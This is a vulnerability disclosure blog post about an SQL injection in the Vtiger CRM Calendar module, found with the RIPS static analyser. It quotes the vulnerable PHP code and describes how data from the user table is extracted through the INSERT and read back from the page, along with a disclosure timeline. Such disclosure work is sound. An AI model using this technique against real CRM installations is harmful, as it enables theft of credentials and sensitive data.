RIPS Analysis

RIPS analyzed the 27,371 files with around 650,000 lines of code in only 6 minutes. Due to the nature of a CRM system, it is necessary to have a valid user account to access any of the provided features. Nevertheless, the discovered issues allowed low-privileged users to access highly sensitive data.

The truncated analysis results are available in our RIPS demo application. Please note that we limited the results to the issues described in this post in order to ensure a fix is available.

Case Study

RIPS detected multiple issues, including a previously unknown SQL injection vulnerability in the Calendar module, which will be explained in the following.

Example: SQL Injection

RIPS Screenshot 1

One great feature of RIPS is to show the chain of calling functions and the exact context of the vulnerability. In this case, it showed that the request parameter contactidlist was directly passed to a query string without any sanitizing.

RIPS Screenshot 2

Taking a closer look at the source code revealed that contactidlist is expected to be a semi-colon separated list of IDs, inserted into the vtiger_cntactivityrel table to create a reference to the currently edited calendar entry.

/modules/Calendar/Activity.php

125
126
127
128
129
130
131
132
133
134
135
136
137
if(isset($_REQUEST['contactidlist']) && $_REQUEST['contactidlist'] != '') {
    $adb->pquery('DELETE from vtiger_cntactivityrel WHERE activityid = ?', array($recordId));
        $contactIdsList = explode (';', $_REQUEST['contactidlist']);
        $count = count($contactIdsList);
        $sql = 'INSERT INTO vtiger_cntactivityrel VALUES ';
        for($i=0; $i<$count; $i++) {
            $sql .= " ($contactIdsList[$i], $recordId)";
            if ($i != $count - 1) {
                $sql .= ',';
            }
        }
        $adb->pquery($sql, array());
    }

As the injection could only be abused within an INSERT statement, it was necessary to further inspect the database structure in order to determine which kind of data and how many bytes might be used as payload.


Due to the fact that vtiger_cntactivityrel is meant to be a connection table for many-to-many relations between contacts and activities, both values are of the type "integer" with the additional limit of displaying at most 19 digits.

In order to exemplarily extract values of the user table, it was necessary to use several MySQL functions to crop the read value, transform it to its hex representation and convert it to an integer (basis 10). With the given limit, it was possible to store 4 characters per entry. The fact that contactidlist might contain multiple, semi-colon separated values could be abused to insert multiple entries at once and thus significantly increase the performance.

We were now able to insert (limited) arbitrary content to the database, but needed a way to obtain the data somehow. Further analyzing the HTML response of the calendar detail view, yielded the database value being reflected as record parameter of the links to the related contact entries.

/index.php?module=Calendar&view=Detail&record=X

1
2
3
4
5
6
7
<label class="muted pull-right marginRight10px">Contact Name</label>
</td>
<td class="fieldValue medium" id="Events_detailView_fieldValue_contact_id">
    <span class="value" data-field-type="multireference">
    <a href='index.php?module=Contacts&view=Detail&record=1633971561' title='Contacts'></a><br>
    </span>
</td>

Converting the integer back to hex and then ASCII, finally resulted in the first 4 characters of the user name "admin":

>>> binascii.unhexlify(format(1633971561, 'x'))
'admi'

Time Line

Date What
2016/09/15 Initial vendor contact
2016/09/15 Vendor reponse
2016/09/15 Sent security advisory to vendor
2016/09/23 Vendor pushed a fix to repository
2016/10/21 Asked about official release
2016/10/25 Vendor will release new version in Q1 2017

Summary

Sometimes it is necessary to perform multiple steps on different endpoints to gain any advantage of a supposedly harmless operation. Finding such issues is difficult with classical webapplication scanners or manual audits. By using automated static code analysis and data flow inspection, one gets multiple possible entry points within seconds to focus on. It was a great experience and a lot of fun to work with RIPS. Even if manual inspection is still necessary to verify a possible finding, it revelead a practically exploitable SQL injection vulnerability I did not find in any previous analysis.


Follow us on Twitter to be notified when the next gift of our advent calendar is opened!

APAV Time Table

Date Author Title
24 Dec 2016 Johannes Dahse What we learned from our Advent Calendar
23 Dec 2016 Hendrik Buchwald e107 2.1.2: SQL Injection through Object Injection
22 Dec 2016 Daniel Peeren Security Compliance with Static Code Analysis
21 Dec 2016 Martin Bednorz AbanteCart 1.2.8 - Multiple SQL Injections
20 Dec 2016 Martin Bednorz Kliqqi 3.0.0.5: From Cross-Site Request Forgery to Code Execution
19 Dec 2016 Robin Peraglie osClass 3.6.1: Remote Code Execution via Image File
18 Dec 2016 Daniel Peeren Continuous Integration - Jenkins at your service
17 Dec 2016 Johannes Dahse OpenConf 5.30 - Multi-Step Remote Command Execution
16 Dec 2016 Robin Peraglie Redaxo 5.2.0: Remote Code Execution via CSRF
15 Dec 2016 Dennis Detering Guest Post: Vtiger 6.5.0 - SQL Injection
14 Dec 2016 Hendrik Buchwald The State of Wordpress Security
13 Dec 2016 Johannes Dahse phpBB 2.0.23 - From Variable Tampering to SQL Injection
12 Dec 2016 Martin Bednorz Teampass 2.1.26.8: Unauthenticated SQL Injection
11 Dec 2016 Daniel Peeren Rescanning Applications with RIPS
10 Dec 2016 Hendrik Buchwald Non-Exploitable Security Issues
9 Dec 2016 Hendrik Buchwald Precurio 2.1: Remote Command Execution via Xinha Plugin
8 Dec 2016 Martin Bednorz PHPKit 1.6.6: Code Execution for Privileged Users
7 Dec 2016 Hendrik Buchwald Serendipity 2.0.3: From File Upload to Code Execution
6 Dec 2016 Robin Peraglie Roundcube 1.2.2: Command Execution via Email
5 Dec 2016 Hendrik Buchwald Expression Engine 3.4.2: Code Reuse Attack
4 Dec 2016 Johannes Dahse Introducing the RIPS analysis engine
3 Dec 2016 Martin Bednorz eFront 3.6.15: Steal your professors password
2 Dec 2016 Martin Bednorz Coppermine 1.5.42: Second-Order Command Execution
1 Dec 2016 Hendrik Buchwald FreePBX 13: From Cross-Site Scripting to Remote Command Execution
25 Nov 2016 Martin Bednorz Announcing the Advent of PHP Application Vulnerabilities

Disclaimer: The information provided here is for educational purposes only. It is your responsibility to obey all applicable local, state and federal laws. RIPS Technologies GmbH assumes no liability and is not responsible for any misuse or damages caused by direct or indirect use of the information provided.